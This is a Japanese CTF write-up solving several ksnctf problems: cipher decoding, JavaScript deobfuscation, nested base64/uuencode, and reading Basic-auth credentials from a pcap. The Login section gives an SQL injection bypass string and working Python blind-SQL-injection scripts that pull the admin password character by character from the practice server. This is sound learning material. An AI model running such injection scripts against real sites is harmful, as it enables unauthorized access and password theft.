前回は, CpawCTF2の1問を解いたが難易度が高かったので, ksnctfをみんなで解くことにした. 今回の課題は2, 3, 5, 6である.

write up

[2] Easy Cipher

EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT.

見るからにシーザ暗号なので, 文字をずらすことを考える.
文字コードはUnicodeに従うとして,

  • 空白の文字コードは32
  • 大文字の文字コードは65~90
  • 小文字の文字コード97~122
    である. これを加味して以下のような解読するための関数をpythonでかく.

# シーザー暗号の解読
def decrypt(text, rot):
    decrypt_text = ''
    for ch in text:
        # 文字コードに変換
        code = ord(ch)
        if code == 32:
            # 空白ならそのまま出力
            decrypt_text += ch
            continue
        if code <= 90:
            # 小文字
            code += rot
            if code > 90:
                code = code - 90 + 64
        else:
            # 大文字
            code += rot
            if code > 122:
                code = code - 122 + 96
        # 文字に変換
        decrypt_text += chr(code)
    return decrypt_text
text = "EBG KVVV vf n fvzcyr yrggre fhofgvghgvba pvcure gung ercynprf n yrggre jvgu gur yrggre KVVV yrggref nsgre vg va gur nycunorg. EBG KVVV vf na rknzcyr bs gur Pnrfne pvcure, qrirybcrq va napvrag Ebzr. Synt vf SYNTFjmtkOWFNZdjkkNH. Vafreg na haqrefpber vzzrqvngryl nsgre SYNT"
for i in range(1, 26):
    if decrypt(text, i).find("FLAG") != -1:
        print(decrypt(text, i))
# ROT XIII is a simple letter substitution cipher that replaces a letter with the letter XIII letters after it in the alphabet; ROT XIII is an example of the Caesar cipher9 developed in ancient Rome; Flag is FLAGSwzgxBJSAMqwxxAU; Insert an underscore immediately after FLAG

また, ROT13はPythonに実装されているので一瞬で解読できる.


import codecs
codecs.decode(text, 'rot13')

[3] Crawling Chaos

与えられたURLにアクセスしてhtmlソースを見ると, <script>タグの中にうーにゃーとたくさん書かれている部分がある。この無限うーにゃーの部分は実はjavascriptなのである。そこでその部分をunya.jsとかにしてどこかに保存して, node unya.jsとかして実行した結果が以下である.


$(function() {
  $("form").submit(function() {
    var t = $('input[type="text"]').val();
    var p = Array(70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737, 1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449);
    var f = false;
    if (p.length == t.length) {
      f = true;
      for (var i = 0; i < p.length; i++)
        if (t.charCodeAt(i) * (i + 1) != p[i]) f = false;
      if (f) alert("(」・ω・)」うー!(/・ω・)/にゃー!");
    }
    if (!f) alert("No");
    return false;
  });
});

ってな感じで正体がわかる. このスクリプトは, 正しい文字列であればNoのアラートではなく, (」・ω・)」うー!(/・ω・)/にゃー!と正解が返ってくることがわかる. 判定は, 入力された文字の文字コード*(配列番号+1)が配列pになるかどうかをみている. この正しい文字列をpythonで生成する.


codes = [70, 152, 195, 284, 475, 612, 791, 896, 810, 850, 737,
         1332, 1469, 1120, 1470, 832, 1785, 2196, 1520, 1480, 1449]
text = ""
for i, code in enumerate(codes):
    # 文字コードと配列ば
    text += chr((code) // (i + 1))
print(text)

[5] Onion

これは英数字のみで構成されているのでbase64ではないかと疑う. base64とは

Base64は、データを64種類の印字可能な英数字のみを用いて、それ以外の文字を扱うことの出来ない通信環境にてマルチバイト文字やバイナリデータを扱うためのエンコード方式である. wiki

である. そこでOnionという名の下, BASE-64でデコードし続ける.


bytes = b'Vm0wd2QyUXlVWGxWV0d....'
import base64
for i in range(16):
    print("#{}---------------".format(i+1))
    bytes = base64.b64decode(bytes)
    print(bytes)

これを実行するとb'begin 666 <data>\n51DQ!1U]&94QG4#-3:4%797I74$AU\n \nend\nという文字列が得られる. これは,

バイナリデータをテキストデータに変換するUNIX及びUnix系OSのコマンド。或いは、それによって生成されるテキストデータのフォーマット。wiki

らしいので, これをデコードする.


import codecs
data = b'begin 666 <data>\n51DQ!1U]&94QG4#-3:4%797I74$AU\n \nend\n'
codecs.decode(data,'uu')

これでフラグゲット. codecsのモジュールが有能である.

[6] Login

こちらのサイトを参考にさせていただきました.リンクを開いてみると,

First, login as “admin”.

という文言と, idとpassの入力フォームがある. SQLインジェクションできるという前提でpassを' or 1 = 1';としてsubmitすると, 以下のページが現れる.


Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.
Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

どのようにログインがされているのかがわかる. SQL文が, SELECT * FROM user WHERE id='$id' AND pass='$pass'であることがわかっているので, idpassに文字列を自由に仕込むことができることがわかる. しかし, レスポンスからはログインが成功したか失敗したかの2値しかわからない. ここでブラインドSQLインジェクション手法を考える.

ブラインドSQLインジェクションはクエリの結果が表示されない場合に、SQLインジェクションによりデータを盗みだす手法。一文字ずつ結果をチェックしていくことで表示されないデータを割り出すことができる。

まず, パスワードの長さを調べる. 以下のようなスクリプトを書く.


import urllib
url = "http://ctfq.sweetduet.info:10080/~q6/"
for i in range(100):
    # id = adminで, かつpassの長さがiで, '--'によってそのあとのSQL文をコメントアウトしている
    sql = "admin\' AND (select LENGTH(pass) from user where id = \'admin\' ) = {counter} -- ".format(counter=i)
    # postするデータにする
    payload = {"id": sql}
    payload = urllib.parse.urlencode(payload)
    payload = payload.encode('ascii')
    # postリクエストを投げる
    response = urllib.request.urlopen(url, payload)
    if len(response.read()) > 2000:
        # responseが2000文字以下であれば
        print('length of the password is {counter}'.format(counter=i))
        break

ポイントとしては,

  • コメントアウトによって, idの部分にコメントアウトを仕込めばそれ以降のSQL文を無視できる.
  • レスポンスの判定を文字数によって行なっている.

これでパスワードが21文字であることがわかったので, 1文字ずつ総当たりする. 文字コードの(48,123)に該当する以下の文字を考える.


text=''
for i in range(48,123):
    text+=chr(i)
text
# '0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz'

以下のスクリプトを書く.


# 関数化する
def blind_sql(sql):
    payload = {"id": sql}
    payload = urllib.parse.urlencode(payload)
    payload = payload.encode('ascii')
    return urllib.request.urlopen(url, payload)
for index in range(1, 22):
    # 21文字を考える
    for char_number in range(48, 123):
        # 上記文字候補を考える
        char = chr(char_number)
        # substr文 `SUBSTR 文字列 開始位置 抽出文字数`
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(index = index, char = char)
        response = blind_sql(sql)
        if len(response.read()) > 2000:
            print(char, end="")
            break

これでflagゲット.

[8] Basic is secure?

pcapファイルが与えられて, 中身はHTTPの通信とTCPの通信である。HTTPでフィルをかけると, クライアントからサーバーにGETアクセスをするが, 401 Authorization requiredが帰ってきている。 Basic is secure? のタイトルからわかるように, これはbasic認証である。basic認証とは…

Basic認証とはWeb上で利用できる認証システムです。
Webサイトを運用したことがある人であれば一度は見たことがあるかもしれません。
Basic認証が設定されているページへアクセスすると、ポップアップが表示されます。
そこに前もって設定してあったIDとpasswordを入力することで、ログインすることができます。
「.htaccess」を利用して、設定できるという非常に簡単な認証機能のため、
セキュリティのレベルとしては非常に低いものになります。
あくまでも取り急ぎの認証であることを忘れないようにしましょう。

https://www.shadan-kun.com/blog/measure/461/

よって, HTTPヘッダをみるとbase64でユーザー名とパスワードがエンコードされたものがある。wiresharkだとその下にflagが見えてしまっている.

感想

案外ボリューミーな内容だった. 個人的には, うーにゃーにエンコードするやつ(」・ω・)」うー!(/・ω・)/にゃー!encodeは, よくこんなもの作ったなと感じたことと, 最後のブラインドSQLは2値のレスポンスだけでここまでできてしまうんだと感動した